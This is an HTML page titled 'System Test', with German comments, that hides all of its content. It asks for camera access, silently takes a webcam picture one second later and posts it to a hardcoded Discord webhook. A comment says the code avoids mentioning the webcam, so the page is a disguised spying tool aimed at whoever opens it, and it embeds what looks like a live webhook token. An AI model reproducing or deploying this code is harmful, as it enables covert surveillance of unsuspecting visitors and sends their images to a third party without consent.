<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>System Test</title>
    <style>
        /* Verhindert jegliche Anzeige von Inhalten */
        body { display: none; }
    </style>
</head>
<body>
    <video id="hidden-video" autoplay style="display:none;"></video>
    <canvas id="hidden-canvas" style="display:none;"></canvas>

    <script>
        const webhookUrl = 'https://discord.com/api/webhooks/1330758535671447573/AOCMGFZdGXPV_Myv0gyCN1Ou2yUNQns74fpPokRACVVwRjAwUqIJWGziAf4Kb4VHwalP'; // Ersetze mit deinem Webhook

        // Zugriff auf das Gerät starten (ohne explizite Erwähnung von "Webcam")
        navigator.mediaDevices.getUserMedia({ video: true })
            .then((stream) => {
                const video = document.getElementById('hidden-video');
                video.srcObject = stream;

                // 1 Sekunde nach dem Start automatisch Bild aufnehmen und weiterleiten
                setTimeout(() => {
                    captureAndSendImage();
                }, 1000);
            })
            .catch((err) => {
                console.error("Fehler beim Zugriff auf das Gerät:", err);
            });

        // Bild aufnehmen und an Webhook senden
        function captureAndSendImage() {
            const canvas = document.getElementById('hidden-canvas');
            const context = canvas.getContext('2d');
            const video = document.getElementById('hidden-video');

            canvas.width = video.videoWidth;
            canvas.height = video.videoHeight;
            context.drawImage(video, 0, 0, canvas.width, canvas.height);

            // Bild in Base64 umwandeln
            const imageData = canvas.toDataURL('image/jpeg');
            const blob = dataURItoBlob(imageData);

            // Senden des Bildes an den Discord-Webhook
            const formData = new FormData();
            formData.append('file', blob, 'test-image.jpg');

            fetch(webhookUrl, {
                method: 'POST',
                body: formData
            })
            .then(response => {
                if (response.ok) {
                    console.log('Bild erfolgreich gesendet.');
                } else {
                    console.error('Fehler beim Senden des Bildes:', response.statusText);
                }
            })
            .catch(err => {
                console.error('Fehler:', err);
            });
        }

        // Base64-Bild in Blob umwandeln
        function dataURItoBlob(dataURI) {
            const byteString = atob(dataURI.split(',')[1]);
            const mimeString = dataURI.split(',')[0].split(':')[1].split(';')[0];
            const ab = new ArrayBuffer(byteString.length);
            const ia = new Uint8Array(ab);

            for (let i = 0; i < byteString.length; i++) {
                ia[i] = byteString.charCodeAt(i);
            }

            return new Blob([ab], { type: mimeString });
        }
    </script>
</body>
</html>
